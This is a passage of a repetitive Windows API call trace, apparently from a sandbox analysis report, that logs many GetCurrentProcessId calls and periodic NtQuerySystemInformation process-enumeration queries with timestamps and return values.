returned 0xbf4 [0292.768] GetCurrentProcessId () returned 0xbf4 [0292.768] GetCurrentProcessId () returned 0xbf4 [0292.769] GetCurrentProcessId () returned 0xbf4 [0292.769] GetCurrentProcessId () returned 0xbf4 [0292.769] GetCurrentProcessId () returned 0xbf4 [0292.769] GetCurrentProcessId () returned 0xbf4 [0292.769] GetCurrentProcessId () returned 0xbf4 [0292.769] GetCurrentProcessId () returned 0xbf4 [0292.769] GetCurrentProcessId () returned 0xbf4 [0292.769] GetCurrentProcessId () returned 0xbf4 [0292.769] GetCurrentProcessId () returned 0xbf4 [0292.769] GetCurrentProcessId () returned 0xbf4 [0292.769] GetCurrentProcessId () returned 0xbf4 [0292.769] GetCurrentProcessId () returned 0xbf4 [0292.769] GetCurrentProcessId () returned 0xbf4 [0292.769] GetCurrentProcessId () returned 0xbf4 [0292.769] GetCurrentProcessId () returned 0xbf4 [0293.414] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c8e0) returned 0x0 [0293.428] GetCurrentProcessId () returned 0xbf4 [0293.428] GetCurrentProcessId () returned 0xbf4 [0293.428] GetCurrentProcessId () returned 0xbf4 [0293.428] GetCurrentProcessId () returned 0xbf4 [0293.428] GetCurrentProcessId () returned 0xbf4 [0293.428] GetCurrentProcessId () returned 0xbf4 [0293.428] GetCurrentProcessId () returned 0xbf4 [0293.428] GetCurrentProcessId () returned 0xbf4 [0293.428] GetCurrentProcessId () returned 0xbf4 [0293.428] GetCurrentProcessId () returned 0xbf4 [0293.428] GetCurrentProcessId () returned 0xbf4 [0293.428] GetCurrentProcessId () returned 0xbf4 [0293.428] GetCurrentProcessId () returned 0xbf4 [0293.428] GetCurrentProcessId () returned 0xbf4 [0293.428] GetCurrentProcessId () returned 0xbf4 [0293.428] GetCurrentProcessId () returned 0xbf4 [0293.428] GetCurrentProcessId () returned 0xbf4 [0293.428] GetCurrentProcessId () returned 0xbf4 [0293.428] GetCurrentProcessId () returned 0xbf4 [0293.428] GetCurrentProcessId () returned 0xbf4 [0293.428] GetCurrentProcessId () returned 0xbf4 [0293.428] GetCurrentProcessId () returned 0xbf4 [0293.428] GetCurrentProcessId () returned 0xbf4 [0293.428] GetCurrentProcessId () returned 0xbf4 [0293.428] GetCurrentProcessId () returned 0xbf4 [0293.428] GetCurrentProcessId () returned 0xbf4 [0293.428] GetCurrentProcessId () returned 0xbf4 [0293.428] GetCurrentProcessId () returned 0xbf4 [0293.428] GetCurrentProcessId () returned 0xbf4 [0293.428] GetCurrentProcessId () returned 0xbf4 [0293.429] GetCurrentProcessId () returned 0xbf4 [0293.429] GetCurrentProcessId () returned 0xbf4 [0293.429] GetCurrentProcessId () returned 0xbf4 [0293.429] GetCurrentProcessId () returned 0xbf4 [0293.429] GetCurrentProcessId () returned 0xbf4 [0293.429] GetCurrentProcessId () returned 0xbf4 [0293.429] GetCurrentProcessId () returned 0xbf4 [0293.429] GetCurrentProcessId () returned 0xbf4 [0293.429] GetCurrentProcessId () returned 0xbf4 [0293.429] GetCurrentProcessId () returned 0xbf4 [0293.429] GetCurrentProcessId () returned 0xbf4 [0293.429] GetCurrentProcessId () returned 0xbf4 [0293.429] GetCurrentProcessId () returned 0xbf4 [0293.429] GetCurrentProcessId () returned 0xbf4 [0293.429] GetCurrentProcessId () returned 0xbf4 [0293.429] GetCurrentProcessId () returned 0xbf4 [0293.429] GetCurrentProcessId () returned 0xbf4 [0293.429] GetCurrentProcessId () returned 0xbf4 [0293.429] GetCurrentProcessId () returned 0xbf4 [0293.429] GetCurrentProcessId () returned 0xbf4 [0293.429] GetCurrentProcessId () returned 0xbf4 [0293.429] GetCurrentProcessId () returned 0xbf4 [0293.429] GetCurrentProcessId () returned 0xbf4 [0293.429] GetCurrentProcessId () returned 0xbf4 [0293.429] GetCurrentProcessId () returned 0xbf4 [0293.429] GetCurrentProcessId () returned 0xbf4 [0293.429] GetCurrentProcessId () returned 0xbf4 [0293.429] GetCurrentProcessId () returned 0xbf4 [0293.429] GetCurrentProcessId () returned 0xbf4 [0293.429] GetCurrentProcessId () returned 0xbf4 [0293.429] GetCurrentProcessId () returned 0xbf4 [0293.429] GetCurrentProcessId () returned 0xbf4 [0293.429] GetCurrentProcessId () returned 0xbf4 [0293.429] GetCurrentProcessId () returned 0xbf4 [0293.430] GetCurrentProcessId () returned 0xbf4 [0293.430] GetCurrentProcessId () returned 0xbf4 [0293.430] GetCurrentProcessId () returned 0xbf4 [0293.430] GetCurrentProcessId () returned 0xbf4 [0293.430] GetCurrentProcessId () returned 0xbf4 [0293.430] GetCurrentProcessId () returned 0xbf4 [0293.430] GetCurrentProcessId () returned 0xbf4 [0293.430] GetCurrentProcessId () returned 0xbf4 [0293.430] GetCurrentProcessId () returned 0xbf4 [0293.430] GetCurrentProcessId () returned 0xbf4 [0293.430] GetCurrentProcessId () returned 0xbf4 [0293.430] GetCurrentProcessId () returned 0xbf4 [0293.430] GetCurrentProcessId () returned 0xbf4 [0293.430] GetCurrentProcessId () returned 0xbf4 [0293.430] GetCurrentProcessId () returned 0xbf4 [0293.430] GetCurrentProcessId () returned 0xbf4 [0293.430] GetCurrentProcessId () returned 0xbf4 [0293.430] GetCurrentProcessId () returned 0xbf4 [0293.430] GetCurrentProcessId () returned 0xbf4 [0293.430] GetCurrentProcessId () returned 0xbf4 [0293.430] GetCurrentProcessId () returned 0xbf4 [0293.430] GetCurrentProcessId () returned 0xbf4 [0293.430] GetCurrentProcessId () returned 0xbf4 [0293.430] GetCurrentProcessId () returned 0xbf4 [0293.430] GetCurrentProcessId () returned 0xbf4 [0293.430] GetCurrentProcessId () returned 0xbf4 [0293.430] GetCurrentProcessId () returned 0xbf4 [0293.430] GetCurrentProcessId () returned 0xbf4 [0293.430] GetCurrentProcessId () returned 0xbf4 [0293.430] GetCurrentProcessId () returned 0xbf4 [0293.430] GetCurrentProcessId () returned 0xbf4 [0293.430] GetCurrentProcessId () returned 0xbf4 [0293.431] GetCurrentProcessId () returned 0xbf4 [0293.431] GetCurrentProcessId () returned 0xbf4 [0293.431] GetCurrentProcessId () returned 0xbf4 [0293.431] GetCurrentProcessId () returned 0xbf4 [0293.431] GetCurrentProcessId () returned 0xbf4 [0293.431] GetCurrentProcessId () returned 0xbf4 [0293.431] GetCurrentProcessId () returned 0xbf4 [0293.431] GetCurrentProcessId () returned 0xbf4 [0293.431] GetCurrentProcessId () returned 0xbf4 [0293.431] GetCurrentProcessId () returned 0xbf4 [0294.023] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c8e0) returned 0x0 [0294.169] GetCurrentProcessId () returned 0xbf4 [0294.169] GetCurrentProcessId () returned 0xbf4 [0294.169] GetCurrentProcessId () returned 0xbf4 [0294.169] GetCurrentProcessId () returned 0xbf4 [0294.169] GetCurrentProcessId () returned 0xbf4 [0294.169] GetCurrentProcessId () returned 0xbf4 [0294.169] GetCurrentProcessId () returned 0xbf4 [0294.169] GetCurrentProcessId () returned 0xbf4 [0294.169] GetCurrentProcessId () returned 0xbf4 [0294.169] GetCurrentProcessId () returned 0xbf4 [0294.169] GetCurrentProcessId () returned 0xbf4 [0294.169] GetCurrentProcessId () returned 0xbf4 [0294.169] GetCurrentProcessId () returned 0xbf4 [0294.169] GetCurrentProcessId () returned 0xbf4 [0294.169] GetCurrentProcessId () returned 0xbf4 [0294.169] GetCurrentProcessId () returned 0xbf4 [0294.169] GetCurrentProcessId () returned 0xbf4 [0294.169] GetCurrentProcessId () returned 0xbf4 [0294.169] GetCurrentProcessId () returned 0xbf4 [0294.169] GetCurrentProcessId () returned 0xbf4 [0294.169] GetCurrentProcessId () returned 0xbf4 [0294.169] GetCurrentProcessId () returned 0xbf4 [0294.169] GetCurrentProcessId () returned 0xbf4 [0294.169] GetCurrentProcessId () returned 0xbf4 [0294.169] GetCurrentProcessId () returned 0xbf4 [0294.169] GetCurrentProcessId () returned 0xbf4 [0294.169] GetCurrentProcessId () returned 0xbf4 [0294.169] GetCurrentProcessId () returned 0xbf4 [0294.169] GetCurrentProcessId () returned 0xbf4 [0294.169] GetCurrentProcessId () returned 0xbf4 [0294.169] GetCurrentProcessId () returned 0xbf4 [0294.169] GetCurrentProcessId () returned 0xbf4 [0294.169] GetCurrentProcessId () returned 0xbf4 [0294.169] GetCurrentProcessId () returned 0xbf4 [0294.169] GetCurrentProcessId () returned 0xbf4 [0294.169] GetCurrentProcessId () returned 0xbf4 [0294.169] GetCurrentProcessId () returned 0xbf4 [0294.170] GetCurrentProcessId () returned 0xbf4 [0294.170] GetCurrentProcessId () returned 0xbf4 [0294.170] GetCurrentProcessId () returned 0xbf4 [0294.170] GetCurrentProcessId () returned 0xbf4 [0294.170] GetCurrentProcessId () returned 0xbf4 [0294.170] GetCurrentProcessId () returned 0xbf4 [0294.170] GetCurrentProcessId () returned 0xbf4 [0294.170] GetCurrentProcessId () returned 0xbf4 [0294.170] GetCurrentProcessId () returned 0xbf4 [0294.170] GetCurrentProcessId () returned 0xbf4 [0294.170] GetCurrentProcessId () returned 0xbf4 [0294.170] GetCurrentProcessId () returned 0xbf4 [0294.170] GetCurrentProcessId () returned 0xbf4 [0294.170] GetCurrentProcessId () returned 0xbf4 [0294.170] GetCurrentProcessId () returned 0xbf4 [0294.170] GetCurrentProcessId () returned 0xbf4 [0294.170] GetCurrentProcessId () returned 0xbf4 [0294.170] GetCurrentProcessId () returned 0xbf4 [0294.170] GetCurrentProcessId () returned 0xbf4 [0294.170] GetCurrentProcessId () returned 0xbf4 [0294.170] GetCurrentProcessId () returned 0xbf4 [0294.170] GetCurrentProcessId () returned 0xbf4 [0294.170] GetCurrentProcessId () returned 0xbf4 [0294.170] GetCurrentProcessId () returned 0xbf4 [0294.170] GetCurrentProcessId () returned 0xbf4 [0294.170] GetCurrentProcessId () returned 0xbf4 [0294.170] GetCurrentProcessId () returned 0xbf4 [0294.170] GetCurrentProcessId () returned 0xbf4 [0294.170] GetCurrentProcessId () returned 0xbf4 [0294.170] GetCurrentProcessId () returned 0xbf4 [0294.170] GetCurrentProcessId () returned 0xbf4 [0294.170] GetCurrentProcessId () returned 0xbf4 [0294.170] GetCurrentProcessId () returned 0xbf4 [0294.170] GetCurrentProcessId () returned 0xbf4 [0294.171] GetCurrentProcessId () returned 0xbf4 [0294.171] GetCurrentProcessId () returned 0xbf4 [0294.171] GetCurrentProcessId () returned 0xbf4 [0294.171] GetCurrentProcessId () returned 0xbf4 [0294.171] GetCurrentProcessId () returned 0xbf4 [0294.171] GetCurrentProcessId () returned 0xbf4 [0294.171] GetCurrentProcessId () returned 0xbf4 [0294.171] GetCurrentProcessId () returned 0xbf4 [0294.171] GetCurrentProcessId () returned 0xbf4 [0294.171] GetCurrentProcessId () returned 0xbf4 [0294.171] GetCurrentProcessId () returned 0xbf4 [0294.171] GetCurrentProcessId () returned 0xbf4 [0294.171] GetCurrentProcessId () returned 0xbf4 [0294.171] GetCurrentProcessId () returned 0xbf4 [0294.171] GetCurrentProcessId () returned 0xbf4 [0294.171] GetCurrentProcessId () returned 0xbf4 [0294.171] GetCurrentProcessId () returned 0xbf4 [0294.171] GetCurrentProcessId () returned 0xbf4 [0294.171] GetCurrentProcessId () returned 0xbf4 [0294.171] GetCurrentProcessId () returned 0xbf4 [0294.171] GetCurrentProcessId () returned 0xbf4 [0294.171] GetCurrentProcessId () returned 0xbf4 [0294.171] GetCurrentProcessId () returned 0xbf4 [0294.171] GetCurrentProcessId () returned 0xbf4 [0294.171] GetCurrentProcessId () returned 0xbf4 [0294.171] GetCurrentProcessId () returned 0xbf4 [0294.171] GetCurrentProcessId () returned 0xbf4 [0294.171] GetCurrentProcessId () returned 0xbf4 [0294.171] GetCurrentProcessId () returned 0xbf4 [0294.171] GetCurrentProcessId () returned 0xbf4 [0294.171] GetCurrentProcessId () returned 0xbf4 [0294.171] GetCurrentProcessId () returned 0xbf4 [0294.171] GetCurrentProcessId () returned 0xbf4 [0294.171] GetCurrentProcessId () returned 0xbf4 [0294.172] GetCurrentProcessId () returned 0xbf4 [0294.683] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c8e0) returned 0x0 [0294.685] GetCurrentProcessId () returned 0xbf4 [0294.685] GetCurrentProcessId () returned 0xbf4 [0294.685] GetCurrentProcessId () returned 0xbf4 [0294.685] GetCurrentProcessId () returned 0xbf4 [0294.685] GetCurrentProcessId () returned 0xbf4 [0294.685] GetCurrentProcessId () returned 0xbf4 [0294.685] GetCurrentProcessId () returned 0xbf4 [0294.685] GetCurrentProcessId () returned 0xbf4 [0294.685] GetCurrentProcessId () returned 0xbf4 [0294.685] GetCurrentProcessId () returned 0xbf4 [0294.685] GetCurrentProcessId () returned 0xbf4 [0294.686] GetCurrentProcessId () returned 0xbf4 [0294.686] GetCurrentProcessId () returned 0xbf4 [0294.686] GetCurrentProcessId () returned 0xbf4 [0294.686] GetCurrentProcessId () returned 0xbf4 [0294.686] GetCurrentProcessId () returned 0xbf4 [0294.686] GetCurrentProcessId () returned 0xbf4 [0294.686] GetCurrentProcessId () returned 0xbf4 [0294.686] GetCurrentProcessId () returned 0xbf4 [0294.686] GetCurrentProcessId () returned 0xbf4 [0294.686] GetCurrentProcessId () returned 0xbf4 [0294.686] GetCurrentProcessId () returned 0xbf4 [0294.686] GetCurrentProcessId () returned 0xbf4 [0294.686] GetCurrentProcessId () returned 0xbf4 [0294.686] GetCurrentProcessId () returned 0xbf4 [0294.686] GetCurrentProcessId () returned 0xbf4 [0294.686] GetCurrentProcessId () returned 0xbf4 [0294.686] GetCurrentProcessId () returned 0xbf4 [0294.686] GetCurrentProcessId () returned 0xbf4 [0294.686] GetCurrentProcessId () returned 0xbf4 [0294.686] GetCurrentProcessId () returned 0xbf4 [0294.686] GetCurrentProcessId () returned 0xbf4 [0294.686] GetCurrentProcessId () returned 0xbf4 [0294.686] GetCurrentProcessId () returned 0xbf4 [0294.686] GetCurrentProcessId () returned 0xbf4 [0294.686] GetCurrentProcessId () returned 0xbf4 [0294.686] GetCurrentProcessId () returned 0xbf4 [0294.686] GetCurrentProcessId () returned 0xbf4 [0294.686] GetCurrentProcessId () returned 0xbf4 [0294.686] GetCurrentProcessId () returned 0xbf4 [0294.686] GetCurrentProcessId () returned 0xbf4 [0294.686] GetCurrentProcessId () returned 0xbf4 [0294.686] GetCurrentProcessId () returned 0xbf4 [0294.686] GetCurrentProcessId () returned 0xbf4 [0294.686] GetCurrentProcessId () returned 0xbf4 [0294.686] GetCurrentProcessId () returned 0xbf4 [0294.686] GetCurrentProcessId () returned 0xbf4 [0294.686] GetCurrentProcessId () returned 0xbf4 [0294.687] GetCurrentProcessId () returned 0xbf4 [0294.687] GetCurrentProcessId () returned 0xbf4 [0294.687] GetCurrentProcessId () returned 0xbf4 [0294.687] GetCurrentProcessId () returned 0xbf4 [0294.687] GetCurrentProcessId () returned 0xbf4 [0294.687] GetCurrentProcessId () returned 0xbf4 [0294.687] GetCurrentProcessId () returned 0xbf4 [0294.687] GetCurrentProcessId () returned 0xbf4 [0294.687] GetCurrentProcessId () returned 0xbf4 [0294.687] GetCurrentProcessId () returned 0xbf4 [0294.687] GetCurrentProcessId () returned 0xbf4 [0294.687] GetCurrentProcessId () returned 0xbf4 [0294.687] GetCurrentProcessId () returned 0xbf4 [0294.687] GetCurrentProcessId () returned 0xbf4 [0294.687] GetCurrentProcessId () returned 0xbf4 [0294.687] GetCurrentProcessId () returned 0xbf4 [0294.687] GetCurrentProcessId () returned 0xbf4 [0294.687] GetCurrentProcessId () returned 0xbf4 [0294.687] GetCurrentProcessId () returned 0xbf4 [0294.687] GetCurrentProcessId () returned 0xbf4 [0294.687] GetCurrentProcessId () returned 0xbf4 [0294.687] GetCurrentProcessId () returned 0xbf4 [0294.687] GetCurrentProcessId () returned 0xbf4 [0294.687] GetCurrentProcessId () returned 0xbf4 [0294.687] GetCurrentProcessId () returned 0xbf4 [0294.687] GetCurrentProcessId () returned 0xbf4 [0294.687] GetCurrentProcessId () returned 0xbf4 [0294.687] GetCurrentProcessId () returned 0xbf4 [0294.687] GetCurrentProcessId () returned 0xbf4 [0294.687] GetCurrentProcessId () returned 0xbf4 [0294.687] GetCurrentProcessId () returned 0xbf4 [0294.687] GetCurrentProcessId () returned 0xbf4 [0294.687] GetCurrentProcessId () returned 0xbf4 [0294.687] GetCurrentProcessId () returned 0xbf4 [0294.687] GetCurrentProcessId () returned 0xbf4 [0294.687] GetCurrentProcessId () returned 0xbf4 [0294.687] GetCurrentProcessId () returned 0xbf4 [0294.688] GetCurrentProcessId () returned 0xbf4 [0294.688] GetCurrentProcessId () returned 0xbf4 [0294.688] GetCurrentProcessId () returned 0xbf4 [0294.688] GetCurrentProcessId () returned 0xbf4 [0294.688] GetCurrentProcessId () returned 0xbf4 [0294.688] GetCurrentProcessId () returned 0xbf4 [0294.688] GetCurrentProcessId () returned 0xbf4 [0294.688] GetCurrentProcessId () returned 0xbf4 [0294.688] GetCurrentProcessId () returned 0xbf4 [0294.688] GetCurrentProcessId () returned 0xbf4 [0294.688] GetCurrentProcessId () returned 0xbf4 [0294.688] GetCurrentProcessId () returned 0xbf4 [0294.688] GetCurrentProcessId () returned 0xbf4 [0294.688] GetCurrentProcessId () returned 0xbf4 [0294.688] GetCurrentProcessId () returned 0xbf4 [0294.688] GetCurrentProcessId () returned 0xbf4 [0294.688] GetCurrentProcessId () returned 0xbf4 [0294.688] GetCurrentProcessId () returned 0xbf4 [0294.688] GetCurrentProcessId () returned 0xbf4 [0294.688] GetCurrentProcessId () returned 0xbf4 [0294.688] GetCurrentProcessId () returned 0xbf4 [0295.220] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c8e0) returned 0x0 [0295.222] GetCurrentProcessId () returned 0xbf4 [0295.222] GetCurrentProcessId () returned 0xbf4 [0295.222] GetCurrentProcessId () returned 0xbf4 [0295.222] GetCurrentProcessId () returned 0xbf4 [0295.222] GetCurrentProcessId () returned 0xbf4 [0295.222] GetCurrentProcessId () returned 0xbf4 [0295.222] GetCurrentProcessId () returned 0xbf4 [0295.222] GetCurrentProcessId () returned 0xbf4 [0295.222] GetCurrentProcessId () returned 0xbf4 [0295.222] GetCurrentProcessId () returned 0xbf4 [0295.222] GetCurrentProcessId () returned 0xbf4 [0295.222] GetCurrentProcessId () returned 0xbf4 [0295.222] GetCurrentProcessId () returned 0xbf4 [0295.222] GetCurrentProcessId () returned 0xbf4 [0295.222] GetCurrentProcessId () returned 0xbf4 [0295.222] GetCurrentProcessId () returned 0xbf4 [0295.222] GetCurrentProcessId () returned 0xbf4 [0295.222] GetCurrentProcessId () returned 0xbf4 [0295.222] GetCurrentProcessId () returned 0xbf4 [0295.223] GetCurrentProcessId () returned 0xbf4 [0295.223] GetCurrentProcessId () returned 0xbf4 [0295.223] GetCurrentProcessId () returned 0xbf4 [0295.223] GetCurrentProcessId () returned 0xbf4 [0295.223] GetCurrentProcessId () returned 0xbf4 [0295.223] GetCurrentProcessId () returned 0xbf4 [0295.223] GetCurrentProcessId () returned 0xbf4 [0295.223] GetCurrentProcessId () returned 0xbf4 [0295.223] GetCurrentProcessId () returned 0xbf4 [0295.223] GetCurrentProcessId () returned 0xbf4 [0295.223] GetCurrentProcessId () returned 0xbf4 [0295.223] GetCurrentProcessId () returned 0xbf4 [0295.223] GetCurrentProcessId () returned 0xbf4 [0295.223] GetCurrentProcessId () returned 0xbf4 [0295.223] GetCurrentProcessId () returned 0xbf4 [0295.223] GetCurrentProcessId () returned 0xbf4 [0295.223] GetCurrentProcessId () returned 0xbf4 [0295.223] GetCurrentProcessId () returned 0xbf4 [0295.223] GetCurrentProcessId () returned 0xbf4 [0295.223] GetCurrentProcessId () returned 0xbf4 [0295.223] GetCurrentProcessId () returned 0xbf4 [0295.223] GetCurrentProcessId () returned 0xbf4 [0295.223] GetCurrentProcessId () returned 0xbf4 [0295.223] GetCurrentProcessId () returned 0xbf4 [0295.223] GetCurrentProcessId () returned 0xbf4 [0295.223] GetCurrentProcessId () returned 0xbf4 [0295.223] GetCurrentProcessId () returned 0xbf4 [0295.223] GetCurrentProcessId () returned 0xbf4 [0295.223] GetCurrentProcessId () returned 0xbf4 [0295.223] GetCurrentProcessId () returned 0xbf4 [0295.223] GetCurrentProcessId () returned 0xbf4 [0295.223] GetCurrentProcessId () returned 0xbf4 [0295.223] GetCurrentProcessId () returned 0xbf4 [0295.223] GetCurrentProcessId () returned 0xbf4 [0295.223] GetCurrentProcessId () returned 0xbf4 [0295.223] GetCurrentProcessId () returned 0xbf4 [0295.223] GetCurrentProcessId () returned 0xbf4 [0295.224] GetCurrentProcessId () returned 0xbf4 [0295.224] GetCurrentProcessId () returned 0xbf4 [0295.224] GetCurrentProcessId () returned 0xbf4 [0295.224] GetCurrentProcessId () returned 0xbf4 [0295.224] GetCurrentProcessId () returned 0xbf4 [0295.224] GetCurrentProcessId () returned 0xbf4 [0295.224] GetCurrentProcessId () returned 0xbf4 [0295.224] GetCurrentProcessId () returned 0xbf4 [0295.224] GetCurrentProcessId () returned 0xbf4 [0295.224] GetCurrentProcessId () returned 0xbf4 [0295.224] GetCurrentProcessId () returned 0xbf4 [0295.224] GetCurrentProcessId () returned 0xbf4 [0295.224] GetCurrentProcessId () returned 0xbf4 [0295.224] GetCurrentProcessId () returned 0xbf4 [0295.224] GetCurrentProcessId () returned 0xbf4 [0295.224] GetCurrentProcessId () returned 0xbf4 [0295.224] GetCurrentProcessId () returned 0xbf4 [0295.224] GetCurrentProcessId () returned 0xbf4 [0295.224] GetCurrentProcessId () returned 0xbf4 [0295.224] GetCurrentProcessId () returned 0xbf4 [0295.224] GetCurrentProcessId () returned 0xbf4 [0295.224] GetCurrentProcessId () returned 0xbf4 [0295.224] GetCurrentProcessId () returned 0xbf4 [0295.224] GetCurrentProcessId () returned 0xbf4 [0295.224] GetCurrentProcessId () returned 0xbf4 [0295.224] GetCurrentProcessId () returned 0xbf4 [0295.224] GetCurrentProcessId () returned 0xbf4 [0295.224] GetCurrentProcessId () returned 0xbf4 [0295.224] GetCurrentProcessId () returned 0xbf4 [0295.224] GetCurrentProcessId () returned 0xbf4 [0295.224] GetCurrentProcessId () returned 0xbf4 [0295.224] GetCurrentProcessId () returned 0xbf4 [0295.224] GetCurrentProcessId () returned 0xbf4 [0295.224] GetCurrentProcessId () returned 0xbf4 [0295.225] GetCurrentProcessId () returned 0xbf4 [0295.225] GetCurrentProcessId () returned 0xbf4 [0295.225] GetCurrentProcessId () returned 0xbf4 [0295.225] GetCurrentProcessId () returned 0xbf4 [0295.225] GetCurrentProcessId () returned 0xbf4 [0295.225] GetCurrentProcessId () returned 0xbf4 [0295.225] GetCurrentProcessId () returned 0xbf4 [0295.225] GetCurrentProcessId () returned 0xbf4 [0295.225] GetCurrentProcessId () returned 0xbf4 [0295.225] GetCurrentProcessId () returned 0xbf4 [0295.225] GetCurrentProcessId () returned 0xbf4 [0295.225] GetCurrentProcessId () returned 0xbf4 [0295.225] GetCurrentProcessId () returned 0xbf4 [0295.225] GetCurrentProcessId () returned 0xbf4 [0295.225] GetCurrentProcessId () returned 0xbf4 [0295.225] GetCurrentProcessId () returned 0xbf4 [0295.749] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c890) returned 0x0 [0295.751] GetCurrentProcessId () returned 0xbf4 [0295.751] GetCurrentProcessId () returned 0xbf4 [0295.751] GetCurrentProcessId () returned 0xbf4 [0295.751] GetCurrentProcessId () returned 0xbf4 [0295.751] GetCurrentProcessId () returned 0xbf4 [0295.751] GetCurrentProcessId () returned 0xbf4 [0295.752] GetCurrentProcessId () returned 0xbf4 [0295.752] GetCurrentProcessId () returned 0xbf4 [0295.752] GetCurrentProcessId () returned 0xbf4 [0295.752] GetCurrentProcessId () returned 0xbf4 [0295.752] GetCurrentProcessId () returned 0xbf4 [0295.752] GetCurrentProcessId () returned 0xbf4 [0295.752] GetCurrentProcessId () returned 0xbf4 [0295.752] GetCurrentProcessId () returned 0xbf4 [0295.752] GetCurrentProcessId () returned 0xbf4 [0295.752] GetCurrentProcessId () returned 0xbf4 [0295.752] GetCurrentProcessId () returned 0xbf4 [0295.752] GetCurrentProcessId () returned 0xbf4 [0295.752] GetCurrentProcessId () returned 0xbf4 [0295.752] GetCurrentProcessId () returned 0xbf4 [0295.752] GetCurrentProcessId () returned 0xbf4 [0295.752] GetCurrentProcessId () returned 0xbf4 [0295.752] GetCurrentProcessId () returned 0xbf4 [0295.752] GetCurrentProcessId () returned 0xbf4 [0295.752] GetCurrentProcessId () returned 0xbf4 [0295.752] GetCurrentProcessId () returned 0xbf4 [0295.752] GetCurrentProcessId () returned 0xbf4 [0295.752] GetCurrentProcessId () returned 0xbf4 [0295.752] GetCurrentProcessId () returned 0xbf4 [0295.752] GetCurrentProcessId () returned 0xbf4 [0295.752] GetCurrentProcessId () returned 0xbf4 [0295.752] GetCurrentProcessId () returned 0xbf4 [0295.753] GetCurrentProcessId () returned 0xbf4 [0295.753] GetCurrentProcessId () returned 0xbf4 [0295.753] GetCurrentProcessId () returned 0xbf4 [0295.753] GetCurrentProcessId () returned 0xbf4 [0295.753] GetCurrentProcessId () returned 0xbf4 [0295.753] GetCurrentProcessId () returned 0xbf4 [0295.753] GetCurrentProcessId () returned 0xbf4 [0295.753] GetCurrentProcessId () returned 0xbf4 [0295.753] GetCurrentProcessId () returned 0xbf4 [0295.753] GetCurrentProcessId () returned 0xbf4 [0295.753] GetCurrentProcessId () returned 0xbf4 [0295.753] GetCurrentProcessId () returned 0xbf4 [0295.753] GetCurrentProcessId () returned 0xbf4 [0295.753] GetCurrentProcessId () returned 0xbf4 [0295.753] GetCurrentProcessId () returned 0xbf4 [0295.753] GetCurrentProcessId () returned 0xbf4 [0295.753] GetCurrentProcessId () returned 0xbf4 [0295.753] GetCurrentProcessId () returned 0xbf4 [0295.753] GetCurrentProcessId () returned 0xbf4 [0295.753] GetCurrentProcessId () returned 0xbf4 [0295.753] GetCurrentProcessId () returned 0xbf4 [0295.753] GetCurrentProcessId () returned 0xbf4 [0295.753] GetCurrentProcessId () returned 0xbf4 [0295.753] GetCurrentProcessId () returned 0xbf4 [0295.753] GetCurrentProcessId () returned 0xbf4 [0295.753] GetCurrentProcessId () returned 0xbf4 [0295.753] GetCurrentProcessId () returned 0xbf4 [0295.753] GetCurrentProcessId () returned 0xbf4 [0295.754] GetCurrentProcessId () returned 0xbf4 [0295.754] GetCurrentProcessId () returned 0xbf4 [0295.754] GetCurrentProcessId () returned 0xbf4 [0295.754] GetCurrentProcessId () returned 0xbf4 [0295.754] GetCurrentProcessId () returned 0xbf4 [0295.754] GetCurrentProcessId () returned 0xbf4 [0295.754] GetCurrentProcessId () returned 0xbf4 [0295.754] GetCurrentProcessId () returned 0xbf4 [0295.754] GetCurrentProcessId () returned 0xbf4 [0295.754] GetCurrentProcessId () returned 0xbf4 [0295.754] GetCurrentProcessId () returned 0xbf4 [0295.754] GetCurrentProcessId () returned 0xbf4 [0295.754] GetCurrentProcessId () returned 0xbf4 [0295.754] GetCurrentProcessId () returned 0xbf4 [0295.754] GetCurrentProcessId () returned 0xbf4 [0295.754] GetCurrentProcessId () returned 0xbf4 [0295.754] GetCurrentProcessId () returned 0xbf4 [0295.754] GetCurrentProcessId () returned 0xbf4 [0295.754] GetCurrentProcessId () returned 0xbf4 [0295.754] GetCurrentProcessId () returned 0xbf4 [0295.754] GetCurrentProcessId () returned 0xbf4 [0295.754] GetCurrentProcessId () returned 0xbf4 [0295.754] GetCurrentProcessId () returned 0xbf4 [0295.754] GetCurrentProcessId () returned 0xbf4 [0295.754] GetCurrentProcessId () returned 0xbf4 [0295.754] GetCurrentProcessId () returned 0xbf4 [0295.754] GetCurrentProcessId () returned 0xbf4 [0295.754] GetCurrentProcessId () returned 0xbf4 [0295.754] GetCurrentProcessId () returned 0xbf4 [0295.755] GetCurrentProcessId () returned 0xbf4 [0295.755] GetCurrentProcessId () returned 0xbf4 [0295.755] GetCurrentProcessId () returned 0xbf4 [0295.755] GetCurrentProcessId () returned 0xbf4 [0295.755] GetCurrentProcessId () returned 0xbf4 [0295.755] GetCurrentProcessId () returned 0xbf4 [0295.755] GetCurrentProcessId () returned 0xbf4 [0295.755] GetCurrentProcessId () returned 0xbf4 [0295.755] GetCurrentProcessId () returned 0xbf4 [0295.755] GetCurrentProcessId () returned 0xbf4 [0295.755] GetCurrentProcessId () returned 0xbf4 [0295.755] GetCurrentProcessId () returned 0xbf4 [0295.755] GetCurrentProcessId () returned 0xbf4 [0295.755] GetCurrentProcessId () returned 0xbf4 [0295.755] GetCurrentProcessId () returned 0xbf4 [0295.755] GetCurrentProcessId () returned 0xbf4 [0295.755] GetCurrentProcessId () returned 0xbf4 [0296.277] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c890) returned 0x0 [0296.279] GetCurrentProcessId () returned 0xbf4 [0296.279] GetCurrentProcessId () returned 0xbf4 